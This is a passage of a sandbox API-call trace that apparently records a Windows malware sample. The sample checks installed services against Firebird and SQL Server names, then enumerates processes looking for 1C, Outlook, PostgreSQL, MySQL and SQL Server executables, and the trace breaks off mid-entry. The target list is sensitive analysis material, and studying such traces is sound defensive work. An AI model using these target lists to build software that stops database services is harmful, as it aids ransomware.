1 [0146.708] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0146.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0146.709] lstrlenW (lpString="AudioSrv") returned 8 [0146.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0146.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0146.709] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0146.709] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0146.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0146.709] lstrlenW (lpString="BFE") returned 3 [0146.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0146.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0146.709] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0146.709] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0146.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0146.709] lstrlenW (lpString="CryptSvc") returned 8 [0146.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0146.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0146.709] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0146.709] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0146.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0146.709] lstrlenW (lpString="CscService") returned 10 [0146.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0146.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0146.709] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0146.709] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0146.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0146.709] lstrlenW (lpString="DcomLaunch") returned 10 [0146.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0146.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0146.709] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0146.709] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0146.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0146.709] lstrlenW (lpString="Dhcp") returned 4 [0146.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0146.709] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0146.709] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0146.709] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0146.709] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0146.709] lstrlenW (lpString="Dnscache") returned 8 [0146.709] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0146.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0146.710] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0146.710] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0146.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0146.710] lstrlenW (lpString="DPS") returned 3 [0146.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0146.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0146.710] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0146.710] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0146.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0146.710] lstrlenW (lpString="eventlog") returned 8 [0146.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0146.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0146.710] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0146.710] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0146.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0146.710] lstrlenW (lpString="EventSystem") returned 11 [0146.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0146.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0146.710] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0146.710] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0146.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0146.710] lstrlenW (lpString="gpsvc") returned 5 [0146.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0146.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0146.710] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0146.710] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0146.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0146.710] lstrlenW (lpString="iphlpsvc") returned 8 [0146.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0146.710] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0146.710] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0146.710] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0146.710] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0146.710] lstrlenW (lpString="LanmanServer") returned 12 [0146.710] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0146.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0146.711] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0146.711] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0146.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0146.711] lstrlenW (lpString="LanmanWorkstation") returned 17 [0146.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0146.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0146.711] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0146.711] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0146.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0146.711] lstrlenW (lpString="lmhosts") returned 7 [0146.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0146.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0146.711] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0146.711] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0146.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0146.711] lstrlenW (lpString="MMCSS") returned 5 [0146.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0146.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0146.711] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0146.711] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0146.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0146.711] lstrlenW (lpString="MpsSvc") returned 6 [0146.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0146.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0146.711] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0146.711] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0146.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0146.711] lstrlenW (lpString="Netman") returned 6 [0146.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0146.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0146.711] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0146.711] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0146.711] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0146.711] lstrlenW (lpString="netprofm") returned 8 [0146.711] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0146.711] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0146.711] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0146.712] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0146.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0146.712] lstrlenW (lpString="NlaSvc") returned 6 [0146.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0146.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0146.712] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0146.712] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0146.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0146.712] lstrlenW (lpString="nsi") returned 3 [0146.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0146.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0146.712] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0146.712] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0146.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0146.712] lstrlenW (lpString="PcaSvc") returned 6 [0146.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0146.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0146.712] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0146.712] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0146.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0146.712] lstrlenW (lpString="PlugPlay") returned 8 [0146.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0146.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0146.712] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0146.712] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0146.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0146.712] lstrlenW (lpString="Power") returned 5 [0146.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0146.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0146.712] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0146.712] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0146.712] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0146.712] lstrlenW (lpString="ProfSvc") returned 7 [0146.712] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0146.712] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0146.712] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0146.713] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0146.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0146.713] lstrlenW (lpString="RpcEptMapper") returned 12 [0146.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0146.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0146.713] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0146.713] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0146.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0146.713] lstrlenW (lpString="RpcSs") returned 5 [0146.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0146.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0146.713] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0146.713] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0146.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0146.713] lstrlenW (lpString="SamSs") returned 5 [0146.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0146.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0146.713] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0146.713] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0146.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0146.713] lstrlenW (lpString="Schedule") returned 8 [0146.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0146.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0146.713] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0146.713] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0146.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0146.713] lstrlenW (lpString="SENS") returned 4 [0146.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0146.713] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0146.713] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0146.713] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0146.713] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0146.713] lstrlenW (lpString="ShellHWDetection") returned 16 [0146.713] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0146.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0146.714] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0146.714] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0146.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0146.714] lstrlenW (lpString="Spooler") returned 7 [0146.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0146.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0146.714] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0146.714] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0146.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0146.714] lstrlenW (lpString="SysMain") returned 7 [0146.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0146.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0146.714] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0146.714] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0146.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0146.714] lstrlenW (lpString="Themes") returned 6 [0146.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0146.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0146.714] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0146.714] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0146.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0146.714] lstrlenW (lpString="TrkWks") returned 6 [0146.714] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0146.714] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0146.714] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0146.714] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0146.714] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0146.714] lstrlenW (lpString="UxSms") returned 5 [0146.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0146.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0146.715] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0146.715] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0146.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0146.715] lstrlenW (lpString="WdiServiceHost") returned 14 [0146.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0146.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0146.715] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0146.715] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0146.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0146.715] lstrlenW (lpString="WdiSystemHost") returned 13 [0146.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0146.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0146.715] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0146.715] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0146.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0146.715] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0146.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0146.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0146.715] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0146.715] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0146.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0146.715] lstrlenW (lpString="Winmgmt") returned 7 [0146.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0146.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0146.715] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0146.715] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0146.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0146.715] lstrlenW (lpString="WPDBusEnum") returned 10 [0146.715] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0146.715] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0146.715] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0146.715] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0146.715] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0146.715] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x669378 | out: hHeap=0x630000) returned 1 [0146.715] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0146.717] Process32FirstW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0146.718] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0146.718] lstrlenW (lpString="System") returned 6 [0146.718] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0146.718] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0146.718] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0146.718] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0146.718] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0146.718] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0146.718] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0146.718] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0146.718] lstrlenW (lpString="smss.exe") returned 8 [0146.718] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0146.718] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0146.719] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0146.719] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0146.719] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0146.719] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0146.719] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0146.719] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0146.719] lstrlenW (lpString="csrss.exe") returned 9 [0146.719] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0146.719] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0146.719] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0146.719] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0146.719] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0146.719] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0146.719] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0146.719] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0146.720] lstrlenW (lpString="wininit.exe") returned 11 [0146.720] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0146.720] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0146.720] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0146.720] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0146.720] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0146.720] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0146.720] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0146.720] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0146.720] lstrlenW (lpString="csrss.exe") returned 9 [0146.720] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0146.720] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0146.720] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0146.720] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0146.720] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0146.720] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0146.720] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0146.720] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0146.721] lstrlenW (lpString="winlogon.exe") returned 12 [0146.721] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0146.721] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0146.721] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0146.721] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0146.721] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0146.721] lstrlenW (lpString="services.exe") returned 12 [0146.721] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0146.721] lstrlenW (lpString="lsass.exe") returned 9 [0146.722] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0146.722] lstrlenW (lpString="lsm.exe") returned 7 [0146.722] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, 